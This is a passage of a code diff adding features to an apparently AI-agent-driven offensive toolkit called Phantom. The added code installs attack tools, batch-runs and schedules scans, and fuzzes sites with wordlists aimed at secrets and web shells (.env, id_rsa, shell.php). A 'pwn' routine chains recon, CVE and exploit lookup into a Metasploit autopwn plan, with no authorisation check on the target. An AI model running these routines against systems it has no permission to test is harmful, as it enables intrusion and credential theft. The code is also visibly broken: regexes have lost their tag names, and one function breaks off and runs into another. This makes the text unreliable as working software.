+ + install: async (tool) => { + const name = tool.trim().toLowerCase(); + const toolList = "nmap, sqlmap, metasploit, searchsploit, ffuf, hydra, john, gobuster, nikto, wireshark, subfinder, katana, amass, httpx, nuclei, dnsx, gau, gitleaks, s3scanner, trufflehog, arjun, gospider, whatweb, wafw00f, masscan, interactsh"; + if (!name) return `[install] Usage: @install|tool_name or @install|all\nTools: ${toolList}`; + const pmap = { + nmap:"nmap", sqlmap:"sqlmap", metasploit:"metasploit-framework", searchsploit:"exploitdb", + ffuf:"ffuf", hydra:"hydra", john:"john", gobuster:"gobuster", nikto:"nikto", + wireshark:"tshark", dnsutils:"dnsutils", netcat:"netcat-openbsd", curl:"curl", + wget:"wget", git:"git", python3:"python3", nodejs:"nodejs", ruby:"ruby", + perl:"perl", masscan:"masscan", dirb:"dirb", whatweb:"whatweb", wafw00f:"wafw00f", + subfinder:"subfinder", katana:"katana", amass:"amass", httpx:"httpx", + nuclei:"nuclei", dnsx:"dnsx", gau:"gau", gitleaks:"gitleaks", s3scanner:"s3scanner", + trufflehog:"trufflehog", arjun:"arjun", gospider:"gospider", + interactsh:"interactsh-client", + }; + const pkg = pmap[name] || name; + + // Bulk install all + if (name === "all") { + const { execSync } = await import("child_process"); + let pm = "apt"; let install = "apt install -y"; let update = "apt update -y"; + try { execSync("command -v pkg", { stdio:"pipe" }); pm="pkg"; install="pkg install -y"; update="pkg update -y"; } catch {} + try { if (pm==="apt") execSync("command -v apt", { stdio:"pipe" }); } catch { try { execSync("command -v brew", { stdio:"pipe" }); pm="brew"; install="brew install"; update=""; } catch {} } + let out = `[install] Bulk installing ${Object.keys(pmap).length} tools via ${pm}...\n`; + if (update) try { execSync(update, { stdio:"pipe", timeout:60000 }); } catch {} + let ok = 0, fail = 0; + for (const [t, p] of Object.entries(pmap)) { + try { + execSync(`${install} ${p}`, { stdio:"pipe", timeout:300000 }); + out += ` ✅ ${t}\n`; + ok++; + } catch (e) { + out += ` ❌ ${t}: ${e.message.slice(0, 60)}\n`; + fail++; + } + } + out += `\nDone: ${ok} installed, ${fail} failed.`; + return out; + } + + try { + const { execSync } = await import("child_process"); + // Detect package manager + let pm = "apt"; let install = "apt install -y"; let update = "apt update -y"; + try { execSync("command -v pkg", { stdio:"pipe" }); pm="pkg"; install="pkg install -y"; update="pkg update -y"; } catch {} + try { if (pm==="apt") execSync("command -v apt", { stdio:"pipe" }); } catch { try { execSync("command -v brew", { stdio:"pipe" }); pm="brew"; install="brew install"; update=""; } catch {} } + // Install + let out = `[install] Installing ${name} via ${pm}...\n`; + if (update) execSync(update, { stdio:"pipe", timeout:60000 }); + execSync(`${install} ${pkg}`, { stdio:"pipe", timeout:120000 }); + out += `✅ ${name} installed.`; + // Verify + try { execSync(`command -v ${name}`, { stdio:"pipe", timeout:3000 }); out += ` Verified.`; } catch { out += ` Check with '${name}'.`; } + return out; + } catch (e) { return `[install] Failed: ${e.message}`; } + }, + + update: async (input) => { + const force = input?.trim().toLowerCase() === "force"; + try { + const { execSync } = await import("child_process"); + // Check git + try { execSync("git rev-parse --git-dir", { stdio:"pipe", timeout:3000 }); } catch { return "[update] Not a git repository."; } + // Check remote + const remote = execSync("git remote -v", { encoding:"utf-8", timeout:3000 }).trim(); + if (!remote) return "[update] No remote configured."; + // Fetch + execSync("git fetch", { stdio:"pipe", timeout:30000 }); + const behind = parseInt(execSync("git rev-list --count HEAD..@{u}", { encoding:"utf-8", timeout:5000 }).trim() || "0"); + if (behind === 0) return "[update] Already up to date."; + // Show diff + const log = execSync(`git log --oneline -${Math.min(behind,5)} HEAD..@{u}`, { encoding:"utf-8", timeout:5000 }).trim(); + if (!force) return `[update] ${behind} commit(s) behind:\n${log}\n\nRun @update|force to pull.`; + // Pull + execSync("git pull --ff-only", { stdio:"pipe", timeout:30000 }); + // Re-check syntax + try { execSync(`node --check "${resolve(homedir(), "Phantom", "phantom.mjs")}"`, { stdio:"pipe", timeout:5000 }); } catch { return `[update] Pulled but SYNTAX ERROR in new code. Roll back with: git reset --hard HEAD@{1}`; } + return `✅ Updated! ${behind} commit(s) pulled.\n${log}\nSyntax verified.`; + } catch (e) { return `[update Error] ${e.message}`; } + }, + + batch: async (input) => { + const [fileArg, ...rest] = input.trim().split("|"); + if (!fileArg || !rest.length) return "[batch] Usage: @batch|targets.txt|tool_name\nReads targets from file, runs tool on each."; + const toolName = rest.join("|").trim(); + try { + const fp = resolve(process.cwd(), fileArg.trim()); + const targets = fs.readFileSync(fp, "utf-8").split("\n").map(s => s.trim()).filter(s => s && !s.startsWith("#")); + if (!targets.length) return `[batch] No targets found in ${fileArg}`; + if (!hackerTools[toolName]) return `[batch] Unknown tool: "${toolName}". Available: ${Object.keys(hackerTools).slice(0,10).join(", ")}...`; + const results = []; + for (const target of targets.slice(0,20)) { + try { + const out = await hackerTools[toolName](target); + results.push({ target, status: "ok", output: out }); + } catch (e) { results.push({ target, status: "error", error: e.message }); } + } + const passed = results.filter(r => r.status === "ok").length; + const failed = results.filter(r => r.status === "error").length; + let report = `# Batch Report\nTool: ${toolName}\nTargets: ${targets.length} (ran ${results.length})\nPassed: ${passed} | Failed: ${failed}\n\n`; + for (const r of results) { + report += `## ${r.target} [${r.status}]\n`; + report += r.status === "ok" ? r.output.slice(0,500) + "\n\n" : `Error: ${r.error}\n\n`; + } + const ts = Date.now(); + const rDir = resolve(REPORTS_DIR, "batch"); + if (!fs.existsSync(rDir)) fs.mkdirSync(rDir, { recursive: true }); + fs.writeFileSync(resolve(rDir, `batch_${ts}.md`), report, "utf-8"); + return report.slice(0,4000) + (report.length > 4000 ? `\n... Full report saved to ${rDir}/batch_${ts}.md` : ""); + } catch (e) { return `[batch Error] ${e.message}`; } + }, + + schedule: async (input) => { + const SCHEDULES_FILE = resolve(homedir(), ".config", "phantom", "schedules.json"); + + function loadSchedules() { + if (fs.existsSync(SCHEDULES_FILE)) { + try { return JSON.parse(fs.readFileSync(SCHEDULES_FILE, "utf-8")); } catch {} + } + return []; + } + + function saveSchedules(schedules) { + // Exclude sid (Timer objects) from persistence - they'll be recreated on load + const toSave = schedules.map(s => ({ ...s, sid: undefined })); + fs.writeFileSync(SCHEDULES_FILE, JSON.stringify(toSave, null, 2), "utf-8"); + } + + // Load persisted schedules on first run + if (!globalThis.__phantomSchedulesLoaded) { + globalThis.__phantomSchedules = loadSchedules(); + // Restore intervals + for (const s of globalThis.__phantomSchedules) { + s.sid = setInterval(async () => { + const ts = new Date().toISOString(); + try { + const result = await hackerTools[s.tool](s.target); + console.log(`[${ts}] ⏰ ${s.tool} → ${s.target}: ${result.slice(0, 200)}`); + } catch (e) { + console.error(`[${ts}] ⏰ ${s.tool} → ${s.target} ERROR: ${e.message}`); + } + }, s.nextAt - Date.now() > 0 ? s.nextAt - Date.now() : 0); + } + globalThis.__phantomSchedulesLoaded = true; + } + + function persistAndRestart() { + saveSchedules(globalThis.__phantomSchedules); + // Restart all intervals + for (const s of globalThis.__phantomSchedules) { + clearInterval(s.sid); + s.sid = setInterval(async () => { + const ts = new Date().toISOString(); + try { + const result = await hackerTools[s.tool](s.target); + console.log(`[${ts}] ⏰ ${s.tool} → ${s.target}: ${result.slice(0, 200)}`); + } catch (e) { + console.error(`[${ts}] ⏰ ${s.tool} → ${s.target} ERROR: ${e.message}`); + } + }, s.nextAt - Date.now() > 0 ? s.nextAt - Date.now() : 0); + } + } + const parts = input.trim().split("|"); + const cmd = parts[0]?.trim().toLowerCase(); + // Management commands + if (cmd === "list" || cmd === "ls") { + if (!globalThis.__phantomSchedules || !globalThis.__phantomSchedules.length) return "[schedule] No active schedules."; + return ["⏰ Active Schedules:", ...globalThis.__phantomSchedules.map(s => + ` [${s.id}] ${s.tool} → ${s.target} every ${s.interval} (next: ${new Date(s.nextAt).toLocaleString()})` + )].join("\n"); + } + if (cmd === "stop" || cmd === "cancel") { + const id = parseInt(parts[1]); + if (!globalThis.__phantomSchedules) return "[schedule] No active schedules."; + const idx = globalThis.__phantomSchedules.findIndex(s => s.id === id); + if (idx === -1) return `[schedule] No schedule with ID ${id}. Use @schedule|list to see active.`; + clearInterval(globalThis.__phantomSchedules[idx].sid); + globalThis.__phantomSchedules.splice(idx, 1); + persistAndRestart(); + return `⏰ Schedule [${id}] cancelled.`; + } + if (cmd === "clear") { + if (!globalThis.__phantomSchedules) return "[schedule] No active schedules."; + for (const s of globalThis.__phantomSchedules) clearInterval(s.sid); + globalThis.__phantomSchedules = []; + persistAndRestart(); + return "⏰ All schedules cleared."; + } + // New schedule + if (parts.length < 2) return `[schedule] Usage: + @schedule||| Schedule a scan + @schedule|scan| Run tool on all scope targets + @schedule|list List active schedules + @schedule|stop| Stop a schedule + @schedule|clear Stop all schedules +Interval: daily, hourly, 30m, 10m, 1h, or cron '0 9 * * *' +Examples: + @schedule|daily|recon|example.com + @schedule|scan|recon Run recon on all scope targets + @schedule|30m|nmap|scanme.org -p 80,443`; + if (cmd === "scan") { + // Run tool on all scope targets + const toolName = parts[1]; + const extra = parts.slice(2).join("|"); + try { + const { runScheduledScan } = await import("./runtime.mjs"); + const result = await runScheduledScan(hackerTools, toolName, extra); + return result; + } catch (e) { return `[schedule Error] ${e.message}`; } + } + const interval = cmd; + const tool = parts[1]; + const target = parts.slice(2).join("|"); + try { + let ms = 0; + if (interval === "daily") ms = 86400000; + else if (interval === "hourly") ms = 3600000; + else if (interval.match(/^(\d+)m$/)) ms = parseInt(interval) * 60000; + else if (interval.match(/^(\d+)h$/)) ms = parseInt(interval) * 3600000; + else if (interval.match(/^\d+$/)) ms = parseInt(interval) * 1000; + else return `[schedule] Unknown interval: "${interval}". Use: daily, hourly, 30m, 10m, 1h`; + if (!hackerTools[tool]) return `[schedule] Unknown tool: "${tool}"`; + const sid = setInterval(async () => { + const ts = new Date().toISOString(); + try { + const result = await hackerTools[tool](target); + console.log(`[${ts}] ⏰ ${tool} → ${target}: ${result.slice(0, 200)}`); + } catch (e) { + console.error(`[${ts}] ⏰ ${tool} → ${target} ERROR: ${e.message}`); + } + }, ms); + if (!globalThis.__phantomSchedules) globalThis.__phantomSchedules = []; + const id = globalThis.__phantomSchedules.length; + const nextAt = Date.now() + ms; + globalThis.__phantomSchedules.push({ id, interval, tool, target, sid, nextAt }); + persistAndRestart(); + return `⏰ Scheduled: ${tool} on ${target} every ${interval}\nNext run: ${new Date(nextAt).toLocaleString()}\nID: ${id} (use @schedule|list to manage)`; + } catch (e) { return `[schedule Error] ${e.message}`; } + }, + + agent_memory: async (input) => { + const agents = ["Lyra", "Nova", "Orion", "Vega", "Atlas", "Helios", "Selene", "Aether"]; + const arg = input?.trim().toLowerCase() || "list"; + const dir = resolve(MEMORY_DIR, "agents"); + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + if (arg === "list") { + const files = fs.readdirSync(dir); + if (!files.length) return "📝 Agent memories: (none yet)\nAgents: " + agents.join(", ") + "\n\nUse @agent_memory| to view."; + const list = files.map(f => ` ${f.replace(".json","")}: ${JSON.parse(fs.readFileSync(resolve(dir,f),"utf-8")).length || 0} entries`).join("\n"); + return `📝 Agent Memories\n${list}\n\nUse @agent_memory| to view, @agent_memory| clear to reset.`; + } + const [name, action] = arg.split(/\s+/); + const agent = agents.find(a => a.toLowerCase() === name); + if (action === "clear") { + if (!agent) return `[agent_memory] Unknown agent: ${name}. Agents: ${agents.join(", ")}`; + fs.writeFileSync(resolve(dir, `${agent.toLowerCase()}.json`), "[]", "utf-8"); + return `🗑️ Cleared memory for ${agent}`; + } + if (agent) { + const memPath = resolve(dir, `${agent.toLowerCase()}.json`); + let mem = []; + try { mem = JSON.parse(fs.readFileSync(memPath, "utf-8") || "[]"); } catch { mem = []; } + if (!mem.length) return `📝 ${agent}: No memories yet.`; + return `📝 ${agent} Memory (${mem.length} entries)\n${mem.slice(-5).map(m => ` [${new Date(m.ts).toLocaleTimeString()}] ${m.text?.slice(0,100)}`).join("\n")}`; + } + return `[agent_memory] Unknown: "${name}". Agents: ${agents.join(", ")}`; + }, + + fuzz: async (input) => { + // Web fuzzing engine — discovers hidden paths, params, and files + const parts = input.trim().split("|"); + const urlPart = parts[0] || ""; + const wordlistType = (parts[1] || "common").toLowerCase(); + if (!urlPart || !urlPart.includes("FUZZ")) return `[fuzz] Usage: @fuzz|url|wordlist_type\n URL must contain FUZZ placeholder (path or param)\n Wordlists: common, admin, backup, params, php, asp, jsp, custom:path.txt\n Example: @fuzz|https://example.com/FUZZ|admin\n Example: @fuzz|https://example.com?file=FUZZ|common`; + + // Built-in wordlists + const WORDLISTS = { + common: ["admin","backup","config","css","data","db","dev","dist","downloads","error","favicon.ico","fonts","images","img","includes","index.html","js","lib","login","logs","media","old","phpinfo.php","private","robots.txt","sitemap.xml","sql","src","static","status","test","tmp","upload","vendor","wp-admin","wp-content","wp-includes","xmlrpc.php"], + admin: ["admin","administrator","cp","cpanel","dashboard","manager","panel","root","super","webadmin","wp-admin","admin.php","login","login.php","console","phpmyadmin","phpPgAdmin","adminer","mysql","pma","admin/","backend","api","management","control","sysadmin","webmaster","moderator","adm"], + backup: [".git/config",".env","backup.sql","backup.zip","backup.tar.gz","db.sql","dump.sql","config.php.bak","config.bak","composer.json","package.json","package-lock.json","yarn.lock","credentials.txt","password.txt","secret.txt","token.txt","key.pem","private.key","id_rsa","wp-config.php.bak","db_backup.sql","app.log","error.log","access.log","install.log","debug.log"], + params: ["id","page","file","path","url","redirect","return","next","go","target","cmd","exec","command","action","do","method","type","option","debug","test","token","key","api_key","secret","auth","password","pass","user","username","name","email","search","q","query","s","folder","dir","include","require","template","theme","view","load","read","download","upload","img","image","src","callback","jsonp","format","lang","locale"], + php: ["index.php","config.php","wp-config.php","db.php","login.php","admin.php","api.php","ajax.php","cron.php","setup.php","install.php","upload.php","download.php","search.php","logout.php","register.php","profile.php","settings.php","edit.php","delete.php","view.php","list.php","page.php","post.php","comment.php","user.php","export.php","import.php","backup.php","restore.php","test.php","info.php","phpinfo.php","status.php","health.php","ping.php","shell.php","cmd.php","exec.php","rce.php"], + asp: ["default.asp","index.asp","login.asp","admin.asp","config.asp","global.asa","web.config","iisstart.asp"], + jsp: ["index.jsp","login.jsp","admin.jsp","manager.jsp","examples/","jsp-examples/","servlets-examples/","web-inf/","WEB-INF/web.xml","WEB-INF/struts-config.xml"], + }; + + // Load wordlist + let words = []; + if (wordlistType.startsWith("custom:")) { + const customPath = wordlistType.slice(7); + try { + const content = fs.readFileSync(resolve(process.cwd(), customPath), "utf-8"); + words = content.split("\n").map(s => s.trim()).filter(Boolean); + } catch (e) { return `[fuzz] Custom wordlist error: ${e.message}`; } + } else if (WORDLISTS[wordlistType]) { + words = WORDLISTS[wordlistType]; + } else { + return `[fuzz] Unknown wordlist: "${wordlistType}". Options: ${Object.keys(WORDLISTS).join(", ")}`; + } + + const usePlaceholder = urlPart.includes("FUZZ"); + const results = []; + const baseUrl = urlPart.replace("FUZZ", ""); + const found = []; + + // Check base URL first + try { + const baseResp = await fetch(urlPart.replace("FUZZ", ""), { method: "GET", signal: AbortSignal.timeout(10000), redirect: "manual" }); + const baseSize = parseInt(baseResp.headers.get("content-length") || "0"); + results.push(`📡 Fuzzing: ${urlPart}\n Wordlist: ${wordlistType} (${words.length} words, showing up to 30 results)\n Base URL: ${baseResp.status} ${baseResp.statusText}${baseSize ? ` (${(baseSize/1024).toFixed(1)} KB)` : ""}\n`); + } catch (e) { results.push(`📡 Fuzzing: ${urlPart}\n Wordlist: ${wordlistType} (${words.length} words)\n Base URL: unreachable (${e.message})\n`); } + + // Concurrent fuzz with progress + const concurrency = 15; + let completed = 0; + for (let i = 0; i < words.length; i += concurrency) { + const batch = words.slice(i, i + concurrency); + await Promise.all(batch.map(async (word) => { + const url = urlPart.replace("FUZZ", encodeURIComponent(word)); + try { + const resp = await fetch(url, { method: "GET", signal: AbortSignal.timeout(8000), redirect: "manual" }); + const size = parseInt(resp.headers.get("content-length") || "0"); + const loc = resp.headers.get("location") || ""; + const wordS = `${word}`; + const statusS = `${resp.status}`.padStart(4); + const sizeS = size ? `${(size/1024).toFixed(1)}K` : ""; + const locS = loc ? `→ ${loc.slice(0,60)}` : ""; + + // Filter: show 2xx, 3xx, 4xx (skip 404) + if (resp.status !== 404 && resp.status !== 0) { + const label = resp.status < 300 ? "✅" : resp.status < 400 ? "🔀" : "⚠"; + found.push({ word: wordS, status: resp.status, size, loc }); + if (found.length <= 30) results.push(` ${label} ${wordS.padEnd(30)} ${statusS} ${sizeS.padEnd(8)} ${locS}`); + } + } catch {} + completed++; + })); + } + + if (!found.length) results.push(` (no paths discovered — all returned 404 or connection errors)`); + else { results.push(`\n📊 ${found.length}/${words.length} discovered (showing first 30)\n`); } + + // Save report + const ts = Date.now(); + const rDir = resolve(REPORTS_DIR, "fuzz"); + if (!fs.existsSync(rDir)) fs.mkdirSync(rDir, { recursive: true }); + const report = [...results].join("\n"); + fs.writeFileSync(resolve(rDir, `fuzz_${ts}.md`), `# Fuzz Report: ${baseUrl}\n\n${report}`, "utf-8"); + results.push(`\n📄 Report: ${rDir}/fuzz_${ts}.md`); + return results.join("\n"); + }, + + pwn: async (input) => { + // Auto-exploit chain: recon → CVE → searchsploit → exploit plan + const parts = input.trim().split("|"); + const target = parts[0] || ""; + const port = parts[1] || ""; + if (!target) return `[pwn] Usage: @pwn|target|optional_port\n Runs full recon + vulnerability assessment + exploit matching\n Example: @pwn|example.com\n Example: @pwn|192.168.1.1|80,443`; + + const domain = target.replace(/^https?:\/\//,"").replace(/\/.*$/,"").trim(); + const timestamp = new Date().toISOString().replace(/[:.]/g, "-"); + const lines = ["╔══════════════════════════════════════╗", + "║ PHANTOM — EXPLOIT CHAIN ║", + `║ Target: ${domain.padEnd(32)}║`, + `║ Date: ${timestamp.slice(0,19).padEnd(27)}║`, + "╚══════════════════════════════════════╝",""]; + + // Phase 1: Recon + lines.push("## [1/5] RECONNAISSANCE"); + try { lines.push("### DNS Lookup", await hackerTools.dns_lookup(domain), ""); } catch {} + try { lines.push("### HTTP Headers", await hackerTools.http_headers(`https://${domain}`), ""); } catch (e) { try { lines.push("### HTTP Headers", await hackerTools.http_headers(`http://${domain}`), ""); } catch {} } + try { lines.push("### SSL Check", await hackerTools.ssl_check(port ? `${domain}:${port}` : domain), ""); } catch {} + try { lines.push("### Subdomains", await hackerTools.sub_enum(domain), ""); } catch {} + + // Phase 2: Port scan + lines.push("## [2/5] PORT SCAN"); + try { + const scanTarget = port ? `${domain}:${port}` : domain; + lines.push(await hackerTools.port_scan(scanTarget), ""); + } catch (e) { lines.push(` Port scan failed: ${e.message}`, ""); } + + // Phase 3: CVE research + lines.push("## [3/5] VULNERABILITY RESEARCH"); + try { + const software = domain.replace(/^(www\.)?/,"").split(".")[0]; + const cveResult = await hackerTools.cve_search(software); + lines.push(cveResult, ""); + // Try the full domain + const cveFull = await hackerTools.cve_search(domain); + if (cveFull !== cveResult) lines.push(cveFull, ""); + } catch (e) { lines.push(` CVE search failed: ${e.message}`, ""); } + + // Phase 4: Exploit search + lines.push("## [4/5] EXPLOIT LOOKUP"); + try { + const tech = domain.replace(/^(www\.)?/,"").split(".")[0]; + const sploitResult = await hackerTools.searchsploit(tech); + lines.push(sploitResult.substring(0,2000), ""); + } catch (e) { lines.push(` Exploit search failed: ${e.message}`, ""); } + + // Phase 5: Metasploit resource script + lines.push("## [5/5] GENERATED EXPLOIT PLAN"); + const plan = []; + plan.push(`# Auto-generated exploit plan for ${domain}`); + plan.push(`# Generated: ${timestamp}`); + plan.push(""); + plan.push("### Recon Summary"); + plan.push(`- Target: ${domain}`); + plan.push(`- Services: ${port || "common ports scanned"}`); + plan.push(""); + plan.push("### Attack Vectors"); + try { + const cveHits = await hackerTools.cve_search(domain.split(".")[0]); + const cves = cveHits.match(/CVE-\d{4}-\d+/g) || []; + if (cves.length) { + plan.push("CVEs identified:"); + cves.slice(0,10).forEach(c => plan.push(`- ${c}: search exploit-db or run: @searchsploit|${c}`)); + } else { + plan.push("- No specific CVEs found for this target"); + } + } catch {} + plan.push(""); + plan.push("### Metasploit Quickstart"); + plan.push("```"); + plan.push("msfconsole -q"); + plan.push("workspace -a " + domain); + plan.push("db_nmap -sV " + domain); + plan.push("load db_autopwn"); + plan.push("db_autopwn -t -p -e"); + plan.push("```"); + plan.push(""); + plan.push("### Manual Testing"); + plan.push("1. Check HTTP for misconfigurations"); + plan.push("2. Test discovered endpoints with @fuzz"); + plan.push("3. Run brute force on found services: @bruteforce|ssh|..."); + plan.push("4. Analyze response for vulnerabilities"); + + const planText = plan.join("\n"); + lines.push(planText); + + // Save report + const rDir = resolve(REPORTS_DIR, "pwn"); + if (!fs.existsSync(rDir)) fs.mkdirSync(rDir, { recursive: true }); + const rPath = resolve(rDir, `pwn_${domain}_${timestamp}.md`); + fs.writeFileSync(rPath, lines.join("\n"), "utf-8"); + lines.push(`\n📄 Full report: ${rPath}`); + return lines.join("\n").substring(0, 8000) + `\n... Report saved (${rPath}, ~${lines.join("\n").length} chars)`; + }, + web_click: async (input) => { + const parts = input.split("|").map(s=>s.trim()); + const url = parts[0]; + const selector = parts[1] || ""; + const method = parts[2] || "index"; + if (!url) return `[Web Click] Usage: url|selector|method. method: index (click Nth link), text (click by link text), selector (CSS selector)`; + try { + const r = await fetch(url, {signal:AbortSignal.timeout(15000)}); + const html = await r.text(); + const title = (html.match(/]*>([^<]+)<\/title>/i)||[])[1]||""; + const links = [...html.matchAll(/]*href=["']([^"']+)["'][^>]*>([\s\S]*?)<\/a>/gi)]; + const clean = links.map(([,h,t])=>[h,t.replace(/<[^>]+>/g,"").trim()]).filter(([h])=>h&&!h.startsWith("#")&&!h.startsWith("javascript:")); + const res = [`🌐 Web Click: ${url}`]; + if (title) res.push(`Title: ${title}`); + if (method==="index") { + const idx = parseInt(selector)||0; + if (idx<0||idx>=clean.length) return `[Web Click] Index ${idx} out of range (0-${clean.length-1})`; + const [href,text] = clean[idx]; const fullUrl = href.startsWith("http")?href:new URL(href,url).href; + res.push(`Click [${idx}]: ${text||href} → ${fullUrl}`); + const r2 = await fetch(fullUrl,{signal:AbortSignal.timeout(15000)}); + const h2 = await r2.text(); + const t2 = (h2.match(/]*>([^<]+)<\/title>/i)||[])[1]||""; + const body = h2.replace(/]*>[\s\S]*?<\/script>/gi,"").replace(/]*>[\s\S]*?<\/style>/gi,"").replace(/<[^>]+>/g," ").replace(/\s+/g," ").trim(); + res.push(`→ Title: ${t2}`,`→ Content: ${body.substring(0,2000)}`); + } else if (method==="text") { + const m = clean.filter(([,t])=>t.toLowerCase().includes(selector.toLowerCase())); + if (!m.length) return `[Web Click] No links with text: "${selector}"`; + const [href,text] = m[0]; const fullUrl = href.startsWith("http")?href:new URL(href,url).href; + res.push(`Click "${text}" → ${fullUrl}`); + const r2 = await fetch(fullUrl,{signal:AbortSignal.timeout(15000)}); + const h2 = await r2.text(); + const t2 = (h2.match(/]*>([^<]+)<\/title>/i)||[])[1]||""; + const body = h2.replace(/]*>[\s\S]*?<\/script>/gi,"").replace(/]*>[\s\S]*?<\/style>/gi,"").replace(/<[^>]+>/g," ").replace(/\s+/g," ").trim(); + res.push(`→ Title: ${t2}`,`→ Content: ${body.substring(0,2000)}`); + } else if (method==="selector") { + const fullUrl = selector.startsWith("http")?selector:new URL(selector,url).href; + res.push(`Navigate → ${fullUrl}`); + const r2 = await fetch(fullUrl,{signal:AbortSignal.timeout(15000)}); + const h2 = await r2.text(); + const t2 = (h2.match(/]*>([^<]+)<\/title>/i)||[])[1]||""; + const body = h2.replace(/]*>[\s\S]*?<\/script>/gi,"").replace(/]*>[\s\S]*?<\/style>/gi,"").replace(/<[^>]+>/g," ").replace(/\s+/g," ").trim(); + res.push(`→ Title: ${t2}`,`→ Content: ${body.substring(0,2000)}`); + } + res.push(`\nLinks on page: ${clean.length}`); + return res.join("\n"); + } catch(e) { return `[Web Click Error] ${e.message}`; } + }, + web_links: async (url) => { + if (!url) return `[Web Links] Usage: url. Extracts and categorizes all links from a page.`; + try { + const r = await fetch(url,{signal:AbortSignal.timeout(15000)}); const html = await r.text(); + const base = (html.match(/]*href=["']([^"']+)/i)||[])[1]||url; + const links = [...html.matchAll(/]*href=["']([^"']+)["'][^>]*>([\s\S]*?)<\/a>/gi)]; + const imgs = [...html.matchAll(/]*src=["']([^"']+)["'][^>]*>/gi)]; + const scripts = [...html.matchAll(/]*src=["']([^"']+)["'][^>]*>/gi)]; + const styles = [...html.matchAll(/]*href=["']([^"']+)["'][^>]*rel=["']stylesheet["'][^>]*>/gi)]; + const res = l=>l.startsWith("http")?l:l.startsWith("//")?"https:"+l:new URL(l,base).href; + const all = links.map(([,h,t])=>[res(h),t.replace(/<[^>]+>/g,"").trim()]).filter(([h])=>h); + const internal = all.filter(([h])=>h.startsWith(url.replace(/\/$/,""))); + const external = all.filter(([h])=>!h.startsWith(url.replace(/\/$/,""))); + const resources = [...imgs.map(m=>res(m[1])),...scripts.map(m=>res(m[1])),...styles.map(m=>res(m[1]))].filter(Boolean); + const title = (html.match(/]*>([^<]+)<\/title>/i)||[])[1]||""; + return [`🔗 Web Links: ${url}`,`Title: ${title}`, + `\nLinks: ${all.length} (int=${internal.length}, ext=${external.length})`, + internal.length?`\nInternal:\n${internal.slice(0,20).map(([h,t])=>` · ${t||h}`).join("\n")}`:"", + external.length?`\nExternal (${Math.min(external.length,20)}):\n${external.slice(0,20).map(([h,t])=>` · ${t||h}`).join("\n")}`:"", + resources.length?`\n📦 ${resources.length} resources:\n${resources.slice(0,15).join("\n")}`:"", + ].filter(Boolean).join("\n"); + } catch(e) { return `[Web Links Error] ${e.message}`; } + }, + web_form: async (input) => { + try { + const parts = input.split("|").map(s=>s.trim()); const url = parts[0]; + if (!url) return `[Web Form] Usage: url|field1=val1|field2=val2. Extracts/submits HTML forms.`; + const r = await fetch(url,{signal:AbortSignal.timeout(15000)}); const html = await r.text(); + const forms = [...html.matchAll(/]*action=["']([^"']*)["'][^>]*(?:method=["']([^"']*)["'])?[^>]*>([\s\S]*?)<\/form>/gi)]; + const title = (html.match(/]*>([^<]+)<\/title>/i)||[])[1]||""; + const res = [`📋 Web Form: ${url}`,`Title: ${title}`]; + if (!forms.length) return res.concat(["(no forms found)"]).join("\n"); + res.push(`Forms: ${forms.length}\n`); + for (let i=0;i]*name=["']([^"']+)["'][^>]*(?:value=["']([^"']*)["'])?[^>]*>/gi)]; + const selects = [...inner.matchAll(/]*name=["']([^"']+)["'][^>]*>([\s\S]*?)<\/select>/gi)]; + res.push(`Form #${i}: "${action||url}" ${(method||"GET").toUpperCase()}`); + fields.forEach(([,n,v])=>res.push(` ${n}=${v||""}`)); + selects.forEach(([,n,opts])=>{const os=[...opts.matchAll(/]*(?:value=["']([^"']*)["'])?[^>]*>([\s\S]*?)<\/option>/gi)];res.push(` `; + } catch (e) { return `[integrate Error] ${e.message}`; } + }, + + // ── BROWSER AUTOMATION (Playwright) ── + browser_auto: async (input) => { + try { + let { chromium } = await import('playwright').catch(() => ({})); + if (!chromium) return "[Browser] Playwright not installed. Run: npm install playwright && npx playwright install chromium"; + const url = input.trim().split(/\s+/)[0]; + if (!url || !url.startsWith('http')) return "[Browser] Usage: URL [--screenshot|--html|--text]"; + const flags = input.split(/\s+/).slice(1); + const doScreenshot = flags.includes('--screenshot'); + const doHtml = !doScreenshot || flags.includes('--html'); + const doText = flags.includes('--text'); + const browser = await chromium.launch({ headless: true, args: ['--no-sandbox'] }); + const [page] = await browser.pages(); + await page.goto(url, { waitUntil: 'networkidle', timeout: 30000 }); + const result = {}; + if (doHtml || !doScreenshot) result.html = await page.content(); + if (doScreenshot) result.screenshot = (await page.screenshot({ fullPage: true })).toString('base64').slice(0, 5000) + '...[truncated]'; + if (doText) result.text = await page.evaluate(() => document.body.innerText); + const title = await page.title(); + await browser.close(); + return `[Browser] ${title}\n URL: ${url}\n HTML: ${(result.html||'').length} chars\n ${doScreenshot ? 'Screenshot: captured\n ' : ''}${doText ? 'Text: ' + (result.text||'').length + ' chars' : ''}`; + } catch (e) { return `[Browser] ${e.message}`; } + }, + + // ── GRAPH — query knowledge graph ── + graph: async (input) => { + try { + const { queryGraph, loadGraph, autoLinkFromBooks } = await import("../lib/session.mjs"); + if (!input || !input.trim()) { + const graph = loadGraph(); + const tools = Object.keys(graph); + if (!tools.length) return "[graph] Empty. Auto-linking books..."; + const linked = autoLinkFromBooks(); + const g = loadGraph(); + return `[graph] ${Object.keys(g).length} tools linked, ${linked} new links\n${Object.entries(g).map(([t,i]) => ` ${t}: ${i.books?.length || 0} books, ${i.cves?.length || 0} CVEs, [${(i.tags||[]).join(', ')}]`).join("\n")}`; + } + const results = queryGraph(input); + if (!results.length) return `[graph] No results for "${input}"`; + return results.map(r => ` ${r.tool} (score:${r.score}): ${r.books?.join(", ") || "—"} | ${r.cves?.join(", ") || "—"} | [${(r.tags||[]).join(", ")}]`).join("\n"); + } catch (e) { return `[graph Error] ${e.message}`; } + }, + // ── HACKERONE BUG BOUNTY TOOL ── + hackerone: async (input) => { + try { + const { resolve:presolve } = await import("path"); + const usbConfigPath = presolve(new URL(".", import.meta.url).pathname, "..", "config.json"); + const systemConfigPath = presolve(BASE_DIR, "config.json"); + + // Deep merge: user config overrides project config + function deepMerge(target, source) { + const result = { ...target }; + for (const key of Object.keys(source)) { + if (source[key] && typeof source[key] === "object" && !Array.isArray(source[key]) && + target[key] && typeof target[key] === "object" && !Array.isArray(target[key])) { + result[key] = deepMerge(target[key], source[key]); + } else { + result[key] = source[key]; + } + } + return result; + } + + let projectConfig = {}; + for (const cfgPath of [usbConfigPath]) { + try { + if (fs.existsSync(cfgPath)) { + projectConfig = JSON.parse(fs.readFileSync(cfgPath, "utf-8")); + break; 